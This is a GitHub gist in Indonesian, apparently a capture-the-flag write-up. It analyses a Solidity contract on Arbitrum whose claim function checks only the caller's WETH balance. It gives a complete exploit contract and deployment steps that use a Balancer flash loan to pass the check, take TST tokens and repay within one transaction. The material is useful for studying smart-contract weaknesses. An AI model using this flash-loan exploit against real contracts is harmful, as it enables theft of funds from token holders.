Skip to content

Instantly share code, notes, and snippets.

@osyduck
Created August 5, 2025 13:27
Show Gist options
  • Save osyduck/10254d141bc329cf1b75f64e92879cb6 to your computer and use it in GitHub Desktop.
Save osyduck/10254d141bc329cf1b75f64e92879cb6 to your computer and use it in GitHub Desktop.

Flash Loan CTF!

πŸ” Analysis

Fokus utama ada pada fungsi claim dan beberapa getter function di kontrak Solidity berikut:

function claim(uint256 amount) external {
    require(_requiredToken != address(0), "Token syaratnya belum diset nih bang.");
    require(_claimableToken != address(0), "Token klaim belum disiapin bang.");

    uint256 balance = IERC20(_requiredToken).balanceOf(msg.sender);
    require(balance >= _requiredBalance, "Belum cukup saldo buat klaim. Sabar ya bang!");

    require(IERC20(_claimableToken).transfer(msg.sender, amount), "Gagal kirim token klaim ke kamu.");
}

function getClaimableToken() external view returns (address) {
    return _claimableToken;
}

function getRequiredToken() external view returns (address) {
    return _requiredToken;
}

function getRequiredBalance() external view returns (uint256) {
    return _requiredBalance;
}

βœ… Syarat klaim TST

Agar token TST bisa dikirim ke siapapun yang memanggil fungsi claim, terdapat 3 kondisi yang harus dipenuhi:

  1. _requiredToken bukan address(0)
  2. _claimableToken bukan address(0)
  3. Balance _requiredToken milik pemanggil fungsi (wallet msg.sender) harus lebih besar atau sama dengan _requiredBalance

πŸ“¦ Jika ketiga kondisi tersebut terpenuhi, maka token TST akan dikirim dari kontrak CTF ke wallet msg.sender.

πŸ“¬ Cara dapat nilai parameter

Masing-masing nilai variabel tersebut bisa diperoleh dari getter function:

Fungsi Hasil Keterangan
getRequiredToken() 0x82aF49447D8a07e3bd95BD0d56f35241523fBab1 Alamat WETH (di Arbitrum)
getClaimableToken() 0x0eb50095B18294D1Ab02655e7C7D25199E35Cc15 Alamat token TST
getRequiredBalance() 560109367220998255044 Setara dengan 560.109367220998255044 WETH

🧠 Logic

Kalau kita ingin mengambil 500 token TST dari kontrak CTF, maka kita harus punya setidaknya:

560.109367220998255044 WETH
...yang tersimpan di wallet milik kita (pemanggil claim).

Uang darimana? :D

Tenang, Balancer solusinya!

Kita bisa meminjam WETH tanpa dikenakan biaya, namun harus dikembalikan dalam 1 transaksi yang sama. Jika tidak, transaksi akan selalu gagal.

πŸ› οΈ Execution

Cara kerja flash loan di sini simpel: kamu bisa meminjam saldo WETH dari Balancer Vault dan harus mengembalikannya dalam transaksi yang sama tanpa biaya (untuk saat ini).

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;

import "@balancer-labs/v2-interfaces/contracts/vault/IVault.sol";
import "@balancer-labs/v2-interfaces/contracts/vault/IFlashLoanRecipient.sol";

interface ICTF {
    function claim(uint256 amount) external;
}

contract FlashLoanRecipient is IFlashLoanRecipient {
    IVault private constant vault =
        IVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);

    address private me = 0x59F3604Def4AB9F740174C9CF977C4DA8fb458fD;
    address private ctfContract = 0x29915797682ecA55363333234197a2214839668C;
    address private tstContract = 0x0eb50095B18294D1Ab02655e7C7D25199E35Cc15;
    uint256 private tstBalance = 500000000;

    function makeFlashLoan(
        IERC20[] memory tokens,
        uint256[] memory amounts,
        bytes memory userData
    ) external {
        vault.flashLoan(this, tokens, amounts, userData);
    }

    function receiveFlashLoan(
        IERC20[] memory tokens,
        uint256[] memory amounts,
        uint256[] memory feeAmounts,
        bytes memory userData
    ) external override {
        require(msg.sender == address(vault));

        ICTF ctf = ICTF(ctfContract);
        ctf.claim(tstBalance);

        IERC20 tst = IERC20(tstContract);
        tst.transfer(me, tstBalance);

        for (uint256 i = 0; i < tokens.length; i++) {
            uint256 repayAmount = amounts[i] + feeAmounts[i];
            IERC20(tokens[i]).transfer(address(vault), repayAmount);
        }
    }
}

πŸ“‹ Step-by-step

  1. Deploy kontrak ke Arbitrum network.
  2. Panggil fungsi makeFlashLoan() dengan parameter:
    • tokens: alamat WETH.
    • amounts: 561109367220998255044 (WETH).
    • userData: isi dengan 0x (karena tidak digunakan).
  3. Saat makeFlashLoan() dipanggil, Balancer Vault akan otomatis memanggil receiveFlashLoan() dan mengirimkan WETH ke kontrak.
  4. Di dalam receiveFlashLoan(), fungsi claim() dipanggil:
ICTF ctf = ICTF(ctfContract);
ctf.claim(tstBalance);
  1. Setelah token TST masuk ke kontrak, kirim ke wallet pribadi:
IERC20 tst = IERC20(tstContract);
tst.transfer(me, tstBalance);
  1. Kembalikan semua WETH ke Balancer Vault agar transaksi tidak gagal:
for (uint256 i = 0; i < tokens.length; i++) {
    uint256 repayAmount = amounts[i] + feeAmounts[i];
    IERC20(tokens[i]).transfer(address(vault), repayAmount);
}

Voila! CTF solved with Tx Hash

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment